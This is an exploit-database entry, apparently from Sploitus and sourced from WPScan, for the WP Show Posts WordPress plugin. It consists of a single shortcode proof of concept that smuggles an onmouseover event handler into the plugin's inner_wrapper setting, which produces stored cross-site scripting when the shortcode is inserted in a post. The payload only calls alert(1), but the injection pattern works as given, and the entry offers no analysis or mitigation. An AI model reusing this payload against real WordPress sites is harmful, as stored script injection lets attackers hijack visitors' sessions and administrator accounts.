## https://sploitus.com/exploit?id=WPEX-ID:034C4C75-42A4-4884-B63F-F9D4D2D6AEBC Insert the following shortcode in a post: [wp_show_posts id='1' settings='inner_wrapper=div+onmouseover=alert(1)']